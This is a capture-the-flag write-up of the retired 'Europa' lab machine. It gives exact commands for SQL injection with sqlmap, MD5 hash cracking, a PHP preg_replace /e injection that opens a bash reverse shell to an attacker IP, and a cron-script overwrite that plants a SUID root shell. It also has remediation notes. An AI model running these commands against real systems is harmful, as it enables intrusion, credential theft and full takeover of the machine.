Europa
Summary
I inspected the TLS certificate on port 443 to uncover a hidden admin virtual host (admin-portal.europacorp.htb) that was not linked from the default site. The admin portal's login form was vulnerable to SQL injection, which let me extract a password hash from the database without valid credentials. The hash was an unsalted MD5 and cracked instantly to a plaintext password, granting authenticated access.
An admin-only VPN-configuration tool on the dashboard passed user input directly to PHP's preg_replace() with the deprecated /e (eval) modifier, turning the authenticated session into a reverse shell running as the Apache service account www-data. From that foothold the user flag was immediately readable because its permissions were world-readable. Local enumeration revealed a root-owned cron job that executed a shell script stored in a directory writable by the www-data account.
Dropping a SUID-bash payload into that directory and waiting one minute for the cron cycle produced a root shell — completing full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 3
Service scan plus TLS certificate dump to reveal CN and SANs.
$ nmap -sV -p 80,443 --script ssl-cert $TARGETRegister both discovered hostnames for local DNS resolution.
$ echo "$TARGET europacorp.htb admin-portal.europacorp.htb" | sudo tee -a /etc/hostsConfirm the login form fields (email, password) before injecting.
$ curl -skL https://admin-portal.europacorp.htb/login.php | grep -i 'form\|input'Exact commands 2
Inject the email parameter, enumerate the admin database, and dump all tables.
$ sqlmap -u 'https://admin-portal.europacorp.htb/login.php' --data='email=a@a.com&password=x' -p email --batch --dbms=mysql --level=3 --risk=2 -D admin --tables --dump --threads=4 --output-dir=/tmp/sqlmap-europaCrack the extracted MD5 hash offline; returns <withheld>.
$ echo -n "$HASH" | hashcat -m 0 - /usr/share/wordlists/rockyou.txt --showFixReplace all string-concatenated SQL with parameterized prepared statements and upgrade password hashingCritical
Exact commands 2
Authenticate and save the session cookie; confirm the Location redirect to dashboard.php.
$ curl -ksS -c /tmp/europa_cookies.txt -X POST https://admin-portal.europacorp.htb/login.php --data-urlencode 'email=admin@europacorp.htb' --data-urlencode "password=$PASSWORD" -L -D -Fetch tools.php to inspect VPN-config form parameters before crafting the payload.
$ curl -ksS -b /tmp/europa_cookies.txt https://admin-portal.europacorp.htb/tools.php | grep -i 'input\|form\|pattern'Exact commands 2
Start the reverse-shell listener on my machine before sending the payload.
$ nc -lvnp 4444Replace $ATTACKER_IP with your listener IP. The /e modifier evaluates the ipaddress value as PHP, invoking system().
$ curl -ksS -b /tmp/europa_cookies.txt -X POST https://admin-portal.europacorp.htb/tools.php --data-urlencode 'pattern=/1/e' --data-urlencode 'ipaddress=system("bash -c \"bash -i >& /dev/tcp/'"$ATTACKER_IP"'/4444 0>&1\"")' --data-urlencode 'text=1'FixRemove the PHP preg_replace /e modifier and upgrade the PHP runtime to a supported versionCritical
Exact commands 3
Confirm shell context, hostname, and OS on the foothold.
$ id; whoami; hostname; uname -a
uid=33(www-data) gid=33(www-data)Verify world-readable permissions on the user flag file.
$ ls -la /home/john/user.txtRead user flag — accessible as www-data due to over-permissive file mode.
$ cat /home/john/user.txtFixRestrict file permissions on sensitive files in user home directoriesLow
Exact commands 2
Inspect the cron table and verify directory and script permissions.
$ cat /etc/crontab; ls -la /var/www/cronjobs/; ls -la /var/www/cmd/Confirm clearlogs calls /var/www/cmd/logcleared.sh.
$ cat /var/www/cronjobs/clearlogsFixEnsure all scripts called by privileged cron jobs are owned by root and not writable by service accountsCritical
Exact commands 3
Overwrite the cron-called script with a SUID-bash payload.
$ cat > /var/www/cmd/logcleared.sh <<'EOF'
#!/bin/sh
cp /bin/bash /tmp/rootbash
chown root:root /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x /var/www/cmd/logcleared.shRun after ~60 s; confirm the SUID binary was created and owned by root.
$ ls -la /tmp/rootbashInvoke with -p to preserve effective UID=root and read the root flag.
$ /tmp/rootbash -p -c 'id; cat /root/root.txt'
euid=0(root)Attack patterns used
The transferable techniques behind this compromise.
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 ((Ubuntu)) |
| 443/tcp | ssl/http Apache httpd 2.4.18 ((Ubuntu)) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.